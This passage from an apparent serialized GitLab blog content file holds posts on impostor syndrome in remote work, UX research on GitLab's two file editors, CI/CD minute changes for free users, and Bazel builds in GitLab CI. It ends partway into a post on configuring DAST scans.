mindset](https://www.brainpickings.org/2014/01/29/carol-dweck-mindset/). On her blog [Brain Pickings](https://www.brainpickings.org/), Maria Popova summarizes the differences between a fixed mindset and a growth mindset:\n\n\"A 'fixed mindset' assumes that our character, intelligence, and creative ability are static givens which we can't change in any meaningful way... A 'growth mindset,' on the other hand, thrives on challenge and sees failure not as evidence of unintelligence but as a heartening springboard for growth and for stretching our existing abilities.\"\n\nThere is no turnkey solution for combatting impostor syndrome, but thinking about times of challenge as opportunities for growth is one way to stop being so hard on yourself.\n\n## Types of impostor syndrome\n\nSometimes remote work can leave you feeling isolated, a cognitive space where impostor syndrome thrives. Whether you've worked remotely for years, or just recently started working remotely due to the COVID-19 pandemic, impostor syndrome might be showing up for you a lot more now than before.\n\n### Perfectionism\n\nPerfectionism is the ultimate trap and creates a vicious cycle of over-thinking and procrastination. The fear of getting started is often rooted in insecurities about laying bare the imperfections that are guaranteed in first iterations.\n\nSoftware development seemingly tries to correct for perfectionist tendencies by prioritizing iteration over perfection, speed over polish.\n\n\"One thing that I'll mention about a perfectionist vampire is that this is why agile is structured the way that it is,\" said Taylor. \"We do these iteration cycles and do innovative work to avoid this build trap where you want something to be so perfect that you never actually ship anything. So it's interesting to see software development taking some of the cues from the struggles of perfectionism to try to get something out and learn quickly.\"\n\nWhen you're working remotely, the options for procrastination are about as long as your household chore list. At GitLab, we recognize that [friends and family come first](/company/family-and-friends-day/), and that sometimes it's better to step away from your devices and go for a walk or start a load of laundry when your brain can no longer compute.\n\nWhen it comes time for the perfectionist to buckle down and produce results, the mantra ought to be: \"don't get it perfect – just get it done.\" In software development, it's always better to ship small, unpolished changes rather than pressuring yourself to send a finished product in one working session. Remember, in the impostor syndrome roshambo – [iteration](https://handbook.gitlab.com/handbook/values/#iteration) beats perfection every time.\n\n### The superhero\n\nWhile the perfectionist is often afraid to get started, the superhero is afraid to stop. The superhero will push themselves harder and further than everyone else to try and prove to themselves and their colleagues that they are not an impostor.\n\n\"[Superheroes] feel that they need success in all aspects of their life, at work, as parents, as partners, and they may feel stressed if they don't get to accomplish something,\" Taylor explained. \"This is something where you can deal with what's called Clark syndrome, where you're trying to be a superhero. At night you're trying to be a parent, during the day, you're trying to do all of these different things that split you in lots of different directions.\"\n\nRemote work means there is more time in your day to, well, work. While great in theory, for the superhero, remote work means that you can easily reach burn out faster than the speed of light. The pressures of producing results, managing a growing team, and being the most supportive family member can send a high-achiever into overdrive.\n\nIf you recognize yourself in this description, it may be time to assess your [burnout levels](https://burnoutindex.org/). If you're in the red zone, it's time to talk to your manager to see how you can better balance the demands of your work with your health and wellbeing.\n\nA note to managers: It is important to recognize that the responsibility of supporting superheroes doesn't just lie on the individual. It is incumbent upon managers to recognize when a team is underresourced and overperforming – is it fair to continue demanding more from your superhero just because you're confident they'll rise to the occasion?\n\n### The natural genius\n\nThe struggle is part of learning, but the growth mindset is particularly challenging for the natural genius to wrap their heads around.\n\n\"When the natural genius has to struggle to work at something, they think that they're a failure,\" said Taylor. \"This is someone who, maybe, school came easy for them or a particular subject made sense, or maybe they were just someone who's an awesome programmer that self-taught themselves. They're used to skills coming easy. And when they have to put in the effort, their brain tells them, 'Oh, no, like you have to work for this. You're not good at this. You are an impostor.'\"\n\nThe natural genius effect is particularly acute in the tech industry, where you're collaborating with a lot of sharp minds with deep knowledge of technology and computers. But as Taylor pointed out, there is no one person with a complete and total understanding of everything about computers and technology.\n\nYou may be collaborating on code produced by someone who knows all about a complex technical topic that is unfamiliar to you. It's easy for the natural genius to conflate a lack of understanding of one technical subject with a lack of knowledge in _all_ technical subjects. While working remotely, it's even easier to get stuck in your head, and asynchronous collaboration means you're not communicating in real-time.\n\nSometimes, in a quest to prove their smarts, the natural genius can overcorrect their feelings of impostor syndrome and dip their toes into the [Dunning-Kruger effect](https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect), which describes a cognitive bias where people with low ability overestimate their capabilities. Don't fall into the trap of trying to write complicated and clever code to impress yourself and your techy colleagues.\n\nA tip: Don't be so hard on yourself. Instead, think about how you would approach your niece and nephew who may be having trouble with a particular subject in school. Would you admonish them for struggling? Hopefully not. Instead, check your ego at the door, embrace a growth mindset, and remember that learning something new is hard, but that doesn't mean you're incapable.\n\n### The lone ranger\n\n\"Soloists, as I call them, feel like they have to accomplish tasks on their own, and if they need to ask for help, it makes them feel like a fraud or a failure,\" said Taylor. \"When in reality, this is not true. It takes an army to build a company, to raise a child, to build a successful career. This is one where asking for help is not a sign of weakness. In fact, it's actually a sign of strength.\"\n\nThe lone ranger complex is alive and well in a remote work set-up. Without your colleagues nearby, the impulse can be to fumble through a challenging workflow instead of reaching out to a colleague with your questions.\n\nWe are encouraged at GitLab to be a [manager of one](https://handbook.gitlab.com/handbook/values/#managers-of-one), meaning the individual is accountable for themselves and their own time, which could create an environment where impostor syndrome flourishes. Still, the company worked hard to encourage collaboration and communication through our [handbook](/handbook/) and the GitLab tool itself. [Collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) is one of our core values, and we have many methods for communication with colleagues when you might get stuck with a question that isn't documented in our handbook. Post to our #git-help channel on Slack, ping your manager in an issue, or create an MR for some broken code. Just remember, when you find the solution, write it down.\n\nOur [document everything](https://handbook.gitlab.com/handbook/values/#write-things-down) policy and emphasis on collaboration helps to slay the lone ranger vampire at a company-wide level.\n\n### The experts\n\nThe expert feels as though they need to accumulate every single piece of information before they are qualified enough to dive into a new project or new role.\n\nThere are far too many smart and qualified people who feel as though their competence is measured only by what they've already accomplished, and their incompetence is measured by what you are striving to achieve. This insecurity will lead people to collect certifications and do exhaustive research before taking the plunge by diving into a challenging new project or applying for a new role.\n\nWomen-identifying individuals are particularly vulnerable to \"the expert\" fallacy. Research indicates that women-identifying folks are more likely to talk themselves out of opportunities or not apply for promotions or new roles when they don't meet the total list of qualifications.\n\nGitLab has established two mentorship programs that help our team members lean in to new opportunities: CEO shadow and the Minorities in Tech (MIT) Team Member Resource Group (TMRG) mentorship program. The [CEO shadow](/blog/gitlab-remote-ceo-shadow-takeaways/) program is a (formerly in-person, now remote) rotation designed to give future senior leaders insight into the operations of the company by following GitLab CEO [Sid Sijbranij](/company/team/#sytses) throughout his day. Earlier this year, the MIT TMRG launched a [new mentorship program](/blog/gitlab-empowers-minorities-in-tech-with-erg/) that connects underrepresented minorities that work at GitLab to senior leaders.\n\n## What can you do about impostor syndrome?\n\nImpostor syndrome is fueled by the negative scripts we use to narrate our life, so one of the methods for combatting impostor syndrome is to reframe your thinking.\n\nIt can be tough to identify your negative thoughts in the moment (meditation and yoga can help here), but once you can identify a negative thought, challenge it.\n\n\"Ask, 'What is objectively the answer to this negative thought? Is it true? Is there any grounding evidence that suggests that it's true?',\" Taylor explained. \"And then you want to reframe that. Now that you've looked at your negative thought in an objective light, you probably have some very tangible points to be able to take that energy then and say: 'Actually, I had this negative thought, but instead I'm feeling these things because of X, Y, or Z'.\"\n\nThe growth mindset can be a helpful way to combat feelings of impostor syndrome. The idea that success is rooted in learning from mistakes and catalyzing your potential, as opposed to achievement itself, will help rewrite the script that holds so many of us back.\n\n# More questions about impostor syndrome?\n\nThanks to Taylor for putting together the presentation that this blog post is based on. Watch Taylor's presentation from GitLab Virtual Contribute 2020 in full below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/mICmSotKwik\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Brett Jordan](https://unsplash.com/@brett_jordan?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/perfectionism?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[7715,3798],{"slug":22003,"featured":6,"template":678},"imposter-syndrome-and-remote-work","content:en-us:blog:imposter-syndrome-and-remote-work.yml","Imposter Syndrome And Remote Work","en-us/blog/imposter-syndrome-and-remote-work.yml","en-us/blog/imposter-syndrome-and-remote-work",{"_path":22009,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22010,"content":22015,"config":22021,"_id":22023,"_type":16,"title":22024,"_source":17,"_file":22025,"_stem":22026,"_extension":20},"/en-us/blog/a-tale-of-two-editors",{"title":22011,"description":22012,"ogTitle":22011,"ogDescription":22012,"noIndex":6,"ogImage":12777,"ogUrl":22013,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22013,"schema":22014},"A tale of two file editors","How UX Research revealed unexpected patterns in how people use two GitLab file editors: the single-file editor and the Web IDE.","https://about.gitlab.com/blog/a-tale-of-two-editors","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A tale of two file editors\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2020-09-01\",\n      }",{"title":22011,"description":22012,"authors":22016,"heroImage":12777,"date":22018,"body":22019,"category":8943,"tags":22020},[22017],"Emily von Hoffmann","2020-09-01","\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-11-13.\n{: .alert .alert-info .note}\n\nThis study began the way many do – with a conundrum and a theory. \n\nThe [Create: Editor](/handbook/product/categories/#editor-group) group originally had the goal of deprecating the single-file editor in favor of the new and improved [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/). But after looking into usage data, we discovered that [the single-file editor was being used at higher rates](https://www.youtube.com/watch?v=3iPNyfVNO1U&feature=youtu.be) than the Web IDE, and in fact had quadruple the page views. This was a concerning discovery with the potential of becoming a real inflection point, raising questions like: Do we have a discoverability problem, or do we have a usability problem? Has our investment in the Web IDE been moving us in the wrong direction? \n\n![Web IDE pageviews](https://about.gitlab.com/images/blogimages/web-ide-pageviews.png){: .medium.center} \n\n![Single-file editor pageviews](https://about.gitlab.com/images/blogimages/single-file-editor-pageviews.png){: .medium.center}\n\nAs you can see above, the single-file editor significantly outperforms the Web IDE in terms of page views. The single-file editor also receives more visitors who are coming to and from merge requests.  \n\n## Our theory\n\nWe initially thought the single-file editor got more usage than the Web IDE due to discoverability problems. Since people should be able to accomplish everything they need within the Web IDE, maybe they just don’t know it exists. Or, maybe the “edit” button on the single-file editor seems like the obvious choice for what people want to do, whereas “Web IDE” sounds more complicated. There’s also always a nagging concern that people have tried the Web IDE and found it to be a bad experience, opting instead to stick with the alternative. \n\n## Our research plan\n\nWe developed a survey to hammer out whether people know how to edit a file in GitLab, why they choose the editor they do, and why, if ever, they choose the other one. \nFor reference, here’s what they both look like: \n\n### Exhibit A: Single-file editor \n\n![Gif of Single-file editor in action](https://about.gitlab.com/images/blogimages/single-file-editor-ezgif.gif){: .shadow.center}\n\n### Exhibit B: Web IDE \n\n![Gif of Web IDE in action](https://about.gitlab.com/images/blogimages/web-ide-ezgif.gif){: .shadow.center} \n\n## Results\n\nAfter reviewing the survey results, we started seeing clear patterns that indicate people actually have distinct use cases for each editor. They’re not using the single-file editor because they can’t find the Web IDE; they’re purposefully selecting an editor based on the complexity of what they need to accomplish. \nPeople prefer the single-file editor when they need to make very simple changes to a single file. It’s aptly named in that sense! Alternatively, people choose the web IDE when they want to edit multiple files, or when they want to make changes that require context from other files. These changes might include hotfixes, creating templates, and making changes related to GitLab CI files.  \n\nWe also learned that people want the ability to edit in context. Today, people choose an editing mode and then switch between screens to navigate to other project areas, which isn’t the best experience. What people really want is the ability to toggle editors and easily access navigation while in the Web IDE:\n\n> \"Let me toggle between editors (e.g. if I start with Editor and realize I need to edit another file, I can switch to Web IDE – with any changes made carried over).\"\n\n## What’s next\n\nI love this study because it so clearly demonstrates the value of research. Had we gone ahead with our original theory, we would have been solving a perceived discoverability problem that people aren’t really having. Instead, we disproved our theory and have several proposed improvements already in the works. \nInstead of removing the single-file editor in favor of promoting the Web IDE, we’ll explore a simplified editing workflow that [consolidates the Edit and Web IDE buttons](https://gitlab.com/gitlab-org/gitlab/-/issues/221247) so that a dropdown allows people to choose their preferred mode. You can see mockups for the next potential iterations below.\n\n| Description | Mock |\n| ------ | ------ |\n| Web IDE option chosen (default) | ![Web IDE chosen by default](https://about.gitlab.com/images/blogimages/web-ide-chosen-by-default.png) |\n| Edit option chosen | ![Edit chosen by default](https://about.gitlab.com/images/blogimages/file-chosen-by-default.png) |\n| Dropdown | ![Dropdown lets you choose](https://about.gitlab.com/images/blogimages/dropdown-choose-your-editor.png) |\n\nWhat do you think about the proposed change? Come talk to us on [Twitter](https://twitter.com/gitlab/), and join our [UX research program](/community/gitlab-first-look/) to participate in future studies. \n\n## Read more about UX at GitLab\n\n- [How holistic UX design increased GitLab.com free trial signups](/blog/how-holistic-ux-design-increased-gitlab-free-trial-signups/)\n- [How we created a dark UI for GitLab's Web IDE](/blog/creating-a-dark-ui-for-gitlabs-web-ide/)\n- [Designing in an all-remote company](/blog/designing-in-an-all-remote-company/)\n\n[Katherine Okpara](/company/team/#katokpara) contributed to this post.\n\nCover image by Gastón Blaquier on [Unsplash](https://unsplash.com/photos/_foeAxTQ5H0).",[2249,676],{"slug":22022,"featured":6,"template":678},"a-tale-of-two-editors","content:en-us:blog:a-tale-of-two-editors.yml","A Tale Of Two Editors","en-us/blog/a-tale-of-two-editors.yml","en-us/blog/a-tale-of-two-editors",{"_path":22028,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22029,"content":22034,"config":22038,"_id":22040,"_type":16,"title":22041,"_source":17,"_file":22042,"_stem":22043,"_extension":20},"/en-us/blog/ci-minutes-update-free-users",{"title":22030,"description":22031,"ogTitle":22030,"ogDescription":22031,"noIndex":6,"ogImage":17364,"ogUrl":22032,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22032,"schema":22033},"Upcoming changes to CI/CD minutes for free tier users on GitLab.com","The reduction of CI/CD minutes aligns with the majority of free user usage","https://about.gitlab.com/blog/ci-minutes-update-free-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upcoming changes to CI/CD minutes for free tier users on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2020-09-01\",\n      }",{"title":22030,"description":22031,"authors":22035,"heroImage":17364,"date":22018,"body":22036,"category":736,"tags":22037},[3532],"\nAt GitLab, we’ve been actively working towards empowering our community to make DevOps a reality for teams of all sizes. We’ve constantly [moved features down](/blog/new-features-to-core/) to our free product to enable more users to benefit from it. The [lower tiers offer more relative value](/company/pricing/#lower-tiers-have-more-relative-value) and help to get more users access to a complete DevOps platform.\n\nAs a result, the usage of GitLab has grown significantly over time to an estimated [30 million registered users](/why-gitlab/) - of which almost 6 million GitLab.com users are on our GitLab.com free tier. While we are excited by this exponential growth, our underlying costs to support this growth have increased significantly. As GitLab matures as both a company and a product, we must focus on becoming a more efficient company.\n\nWe evaluted CI/CD minute usage and found that 98.5% of free users use 400 CI/CD minutes or less per month. By lowering the current monthly usage limit, we are not only aligning the CI/CD minute limits with usage and related tier prices, but ensuring we can continue to maintain our commitment to offer a free GitLab.com tier.\n\n## Changes to the GitLab.com Free tier\n\nEffective October 1, 2020, we are reducing CI/CD minutes to 400 minutes per top-level group (or personal namespace) per month on the Free tier of GitLab.com.\n\n|    | Free | Bronze | Silver | Gold |\n| -- | ---- | ------ | ------ | ---- |\n| Price | $0 | $4 | $19 | $99 |\n| CI/CD Minutes | 400 | 2,000 | 10,000 | 50,000 |\n\n## Check and reduce CI/CD minutes used\n\nCI/CD minute usage can be reduced in a number of ways, including [bringing your own runners](https://docs.gitlab.com/runner/).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/GrO-8KtIpRA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nFor more details on the changes and how to manage and reduce your CI/CD minutes usage, please visit the [customer FAQ](/pricing/faq-compute-credit/).\n\n## Options to increase CI/CD minutes available\n\nIf 400 minutes is not enough, you can purchase additional CI/CD minutes at $10 per 1000 minutes or upgrade to [a paid tier](/pricing/). Also, you can bring your own runners. You can [run specific runners for any of your projects](https://docs.gitlab.com/runner/). We only count minutes on the shared runners we provide on GitLab.com.\n\nGitLab also offers Gold tier capabilities and 50,000 minutes per group per month CI/CD minutes for our [Open Source](/solutions/open-source/join/), [Education](/solutions/education/), and [Startups](/solutions/startups/) programs. If you are eligible for these programs, consider applying through their relevant program pages.\n\n## CI/CD minute limits will remain unchanged for Open Source, Education and Startups programs\n\nCI/CD minute limits will **remain unchanged** for members of our GitLab for [Open Source](/solutions/open-source/join/), [GitLab for Education](/solutions/education/), and [GitLab for Startups](/solutions/startups/) programs and will continue to match our [Gold tier](/pricing/). For more information on these programs and how to apply, please visit the relevant program pages.\n\n## More information\n\nPlease refer to the [customer FAQ](/pricing/faq-compute-credit/) for more information.\n\nTo address your questions and feedback, we have created a space in the [GitLab Community Forum](https://forum.gitlab.com/t/ci-cd-minutes-for-free-tier/40241), which is actively monitored by GitLab Team members and Product Managers involved with this change.\n",[110,4103,267,815],{"slug":22039,"featured":6,"template":678},"ci-minutes-update-free-users","content:en-us:blog:ci-minutes-update-free-users.yml","Ci Minutes Update Free Users","en-us/blog/ci-minutes-update-free-users.yml","en-us/blog/ci-minutes-update-free-users",{"_path":22045,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22046,"content":22052,"config":22057,"_id":22059,"_type":16,"title":22060,"_source":17,"_file":22061,"_stem":22062,"_extension":20},"/en-us/blog/using-bazel-to-speed-up-gitlab-ci-builds",{"title":22047,"description":22048,"ogTitle":22047,"ogDescription":22048,"noIndex":6,"ogImage":22049,"ogUrl":22050,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22050,"schema":22051},"How to use Bazel with GitLab to speed up your builds","We explain why Bazel and GitLab CI are a great match to speed up your build times.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667132/Blog/Hero%20Images/build-container-image-runner-fargate-codebuild-cover.jpg","https://about.gitlab.com/blog/using-bazel-to-speed-up-gitlab-ci-builds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use Bazel with GitLab to speed up your builds\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2020-09-01\",\n      }",{"title":22047,"description":22048,"authors":22053,"heroImage":22049,"date":22018,"body":22055,"category":734,"tags":22056},[22054],"Jason Yavorska","\n[Bazel](https://bazel.build/) is a useful tool that can be used with GitLab CI to push your build pipelines into overdrive.\n\nFor maximum correctness, [CI/CD](/topics/ci-cd/) systems will usually rebuild all of the artifacts from scratch on every run. This method is considered safer since artifacts from one pipeline won't negatively impact subsequent pipelines, and is a lesson learned from older CI tools where the agent state was persistent over time – so you never really knew if you could do a build from scratch. The problem with redoing everything every time though, is that it's slow. GitLab improves upon this by using caches and shared artifacts, but there's only so far that approach can take you.\n\nBazel is a good example of tackling things in a different way – it speeds up builds by only rebuilding what is necessary. On the surface, this might sound a lot like just having a cache and doing an incremental build. But the main difference is that Bazel is really good at not only being fast, but also [correct](https://docs.bazel.build/versions/3.4.0/guide.html#correct-incremental-rebuilds). Bazel is much more reliable than traditional `Makefiles` or build scripts, which are notorious for occasionally forcing you to `make clean` because they get into some inconsistent state they can't recover from.\n\nAs of now, Bazel supports building Java, C, C++, Python, and Objective-C, and can also produce packages for deployment on Android or iOS. More capabilities are being added all the time, as well as open source rule sets for other languages like Go, Scala and many more, so be sure to check their latest [product overview](https://docs.bazel.build/versions/3.4.0/bazel-overview.html) for updates.\n\n## Setting up Bazel builds in GitLab CI\n\nSetting up Bazel for builds is very straightforward. A job like the following does everything you need:\n\n```yaml\nvariables:\n  BAZEL_DIGEST_VERSION: \"f670e9aec235aa23a5f068566352c5850a67eb93de8d7a2350240c68fcec3b25\" # Bazel 3.4.1\n\nbuild:\n  image:\n    name: gcr.io/cloud-marketplace-containers/google/bazel@sha256:$BAZEL_DIGEST_VERSION\n    entrypoint: [\"\"]\n  stage: build\n  script:\n    - bazel --output_base output build //main/...\n  artifacts:\n    paths:\n      - bazel-bin/main/hello-world\n  cache:\n    key: $BAZEL_DIGEST_VERSION\n    paths:\n      - output\n```\n\nWhat this script does is define a job called `build` which uses the official Google Bazel image. We track the digest version for two reasons: First, to ensure immutability (tags can be updated), and second to use it as a cache key so that the cache is invalidated whenever we upgrade the Bazel version. We also override the entry point because we want to pass our own parameters to our `bazel` invocation. The second parameter is the [label](https://docs.bazel.build/versions/master/glossary.html#label) of the [target](https://docs.bazel.build/versions/master/glossary.html#target) we want to build. A [target pattern](https://docs.bazel.build/versions/master/glossary.html#target-pattern) can also be used here to tell Bazel to build multiple things (and what they depend on), rather than one thing (and what it depends on).\n\nThe first parameter (`--output_base output`) is to help Bazel work with a security feature of the GitLab runner. By default, the runner will [not access files outside of the build dir](https://docs.gitlab.com/ee/ci/yaml/#artifactspaths), but Bazel places its own cache outside by default. This parameter tells Bazel to place it inside, where the runner can access it. The next two sections (`artifacts` and `cache`), tell the runner where the output file you want to keep is, and importantly for Bazel, where the cache is that you want to persist. Note that until [this issue to allow for traversing symlinks](https://gitlab.com/gitlab-org/gitlab/-/issues/19746) is resolved, you must give the full path to the specific outputs you want to keep within the `bazel-bin` folder.\n\nWhen this job runs, it places the current cache (if it exists, and only for the current `BAZEL_DIGEST_VERSION`) in the `output` folder, and then runs `bazel` to build the `main:hello-world` target. It saves the artifact from `bazel-bin/main/hello-world`, and then caches everything in `output` for the next run.\n\n### Bazel: notes on caching\n\nIn this example we've set up Bazel to work with GitLab caching, and this is how we currently use it internally. If you already have Bazel remote cache (or even better, Bazel remote execution), there is no need to set up GitLab CI cache: It actually would likely make things slower since in that case there is no need to download and unpack the cache at all. Setting up remote caching or remote execution are more advanced and outside of the scope of this article, but are even better ways to speed up the build. Until then, using a GitLab cache can be a good interim step. If you're interested in learning more about remote cache/remote execution, this [BazelCon video](https://www.youtube.com/watch?v=MyuJRUwT5LI&t=1017s) or Bazel's official [documentation on remote caching](https://docs.bazel.build/versions/master/remote-caching.html) may be helpful.\n\n## Building and testing with Bazel\n\nUsing Bazel to run your tests is just as easy, and there are nice benefits to doing so. If you can rely on accurately knowing what has changed, you can be more selective in doing incremental tests and have the confidence that tests that were skipped were truly unnecessary. This is also quite easy to set up using Bazel, but one thing to consider is that running builds and tests all at once (rather than splitting build and test into different jobs) is going to be more efficient. You can do that by using a build job that looks like this:\n\n```yaml\nvariables:\n  BAZEL_DIGEST_VERSION: \"f670e9aec235aa23a5f068566352c5850a67eb93de8d7a2350240c68fcec3b25\" # 3.4.1\n\nbuild:\n  image:\n    name: gcr.io/cloud-marketplace-containers/google/bazel@sha256:$BAZEL_DIGEST_VERSION\n    entrypoint: [\"\"]\n  stage: build\n  script:\n    - bazel --output_base output test //main/...\n  artifacts:\n    paths:\n      - bazel-bin/main/hello-world\n  cache:\n    key: $BAZEL_DIGEST_VERSION\n    paths:\n      - output\n```\n\nIn a build that includes all tests, you typically want to run everything that changed. That's usually done using an invocation like `bazel test //main/...` which:\n\n1. Finds all targets (referred to as `...`) in the workspace location (`//` denotes the root of the [workspace](https://docs.bazel.build/versions/master/glossary.html#workspace)), so we are referring to `main` relative to the root.) Note that you probably don't want to include a bare `//` (without `main`), since that will include the custom `output` folder and that is probably not what you intended.\n1. Builds usual targets.\n1. Builds test targets.\n1. Runs test targets.\n\nOnly using the `test` parameter works because `bazel test` not only runs tests, but also builds everything that matched the target pattern by default. Individual targets can be excluded from being matched by `...` by applying a `manual` tag to them ([see `tags` in the Bazel glossary table](https://docs.bazel.build/versions/master/be/common-definitions.html#common-attributes)). One callout - in the example project we're building ([details below](#examples)), there actually aren't any tests, so this fails because we requested a test pass and there weren't any. If your project has tests in it, it will work fine.\n\n## Examples using Bazel\n\nWe're actually using Bazel here at GitLab to build our [GitLab Agent for Kubernetes](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent). If you're interested in seeing a more complex, complete implementation using Bazel then that's a great one to explore. The simple example from this blog can be found live in [my own personal project](https://gitlab.com/jyavorska/testbazel), and it is based on the [stage three build tutorial](https://docs.bazel.build/versions/3.4.0/tutorial/cpp.html) from Bazel's own documentation.\n\nBazel itself is also highly configurable through its own `.bazelrc`, `BUILD` files, and more. The [user documentation for Bazel](https://docs.bazel.build/versions/master/guide.html) contains several examples along with an exhaustive configuration reference.\n\n## What's next with Bazel?\n\nWe are considering using Bazel in few more areas within GitLab:\n\n- In an ideal world, after a minor change, the build and test should only take a few seconds to complete. When the jobs are fast enough, it could even be triggered via an editor on every change before being committed to git at all. This kind of capability could be integrated with the Web IDE, giving you immediate insight into the results of your change. We have an issue related to [making it easier to run pipelines from the Web IDE](https://gitlab.com/gitlab-org/gitlab/-/issues/213604) that could take advantage of this.\n- By default, GitLab uses [a gem we created](https://gitlab.com/gitlab-org/ci-cd/test_file_finder/) (which is available in this [template](https://docs.gitlab.com/ee/ci/testing/fail_fast_testing.html) for test execution optimization, but all we're doing so far is running the riskiest tests first. As Bazel grows and adds support for more languages, it could potentially become a standard for this purpose, allowing you to run even fewer tests (and among those, the riskiest ones first). We have an [epic](https://gitlab.com/groups/gitlab-org/-/epics/4121) where you can track progress toward this idea.\n- Finally, Bazel also supports distributed builds and caching, opening the door to autoscaling compilation and test capacity alongside runner capacity, or even sharing the same capacity for whatever jobs are needed at a given moment. This function would require managing your own capacity for this purpose, but in the future we could imagine this being added to GitLab. We have an [issue for exploring different ways Bazel could support distributed jobs](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/26663) using the GitLab Runner.\n\n## Tell us your Bazel success stories\n\nAre you using Bazel with GitLab CI? We'd love your feedback on what features we could add to make things work better and hear about the performance gains you've found from the combo. Please let us know in the Meta issue below, or contact [Jason Yavorska](https://twitter.com/j4yav) on Twitter.\n\n## Related content\n\n- [Bazel website](https://bazel.build/)\n- [Meta issue for deeper integration in GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/201484)\n- [Bazel blog on integrating it with CI systems](https://blog.bazel.build/2016/01/27/continuous-integration.html)\n- [GitLab CI quick start](https://docs.gitlab.com/ee/ci/quick_start/)\n\nCover image by [Lucas van Oort](https://unsplash.com/@switch_dtp_fotografie) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,232,696],{"slug":22058,"featured":6,"template":678},"using-bazel-to-speed-up-gitlab-ci-builds","content:en-us:blog:using-bazel-to-speed-up-gitlab-ci-builds.yml","Using Bazel To Speed Up Gitlab Ci Builds","en-us/blog/using-bazel-to-speed-up-gitlab-ci-builds.yml","en-us/blog/using-bazel-to-speed-up-gitlab-ci-builds",{"_path":22064,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22065,"content":22071,"config":22076,"_id":22078,"_type":16,"title":22079,"_source":17,"_file":22080,"_stem":22081,"_extension":20},"/en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications",{"title":22066,"description":22067,"ogTitle":22066,"ogDescription":22067,"noIndex":6,"ogImage":22068,"ogUrl":22069,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22069,"schema":22070},"How to configure DAST full scans for complex web applications","Keep your DAST job within timeout limits and fine-tune job configurations for better results","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679617/Blog/Hero%20Images/tuning-237454.jpg","https://about.gitlab.com/blog/how-to-configure-dast-full-scans-for-complex-web-applications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to configure DAST full scans for complex web applications\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2020-08-31\",\n      }",{"title":22066,"description":22067,"authors":22072,"heroImage":22068,"date":22073,"body":22074,"category":674,"tags":22075},[6746],"2020-08-31","\n\nShifting [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/) (DAST) left can help to detect security vulnerabilities earlier in the software development lifecycle (SDLC). However, testing earlier and more often in the SDLC comes with its own set of challenges: an abundance of alerts from automated security tools and a high computational cost caused by frequent and long-running CI security jobs.\n\nIn this blog post, I’ll walk you through how we configured DAST for the internal pipeline that tests the GitLab web application. We’ll discuss some of the common challenges that you might encounter when testing large applications, such as: \n\n1. How to keep the duration of the DAST scan within an acceptable [job timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout): This matters because jobs that exceed timeouts will fail and no results will be displayed. We will review how to optimize scan duration by excluding low-risk parts of the application from being tested, by correctly seeding your application with test data, and by parallelizing the DAST job.\n\n2. How to get relevant results for your context: This is key – tuning job configurations to produce relevant results allows your engineers to focus on findings that matter and prevents [alert fatigue](https://en.wikipedia.org/wiki/Alarm_fatigue). In this area, we'll discuss criteria for identifing rules that are applicable to your application and we will explain how to disable irrelevant rules.\n\nThe discussed solutions are based on the DAST configuration that we use to test GitLab itself. If you are looking for inspiration on how to configure your own DAST jobs, feel free to take a look at our [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/dast.gitlab-ci.yml).\n\n## How to set up a simple DAST full scan\n\nKicking off a DAST full scan in GitLab CI is as easy as including the job template and setting a few variables in your `.gitlab-ci.yml` file:\n\n```yaml\ninclude:\n  - template: DAST.gitlab-ci.yml\n\nvariables:\n  DAST_WEBSITE: \"https://my-site.example\"\n  DAST_FULL_SCAN_ENABLED: \"true\"\n  DAST_AUTH_URL: \"https://my-site.example/signin\"\n  DAST_AUTH_USERNAME: “john”\n  DAST_AUTH_PASSWORD: “P@ssw0rd”\n```\nThe variable `DAST_WEBSITE` defines the target website tested by DAST. Setting 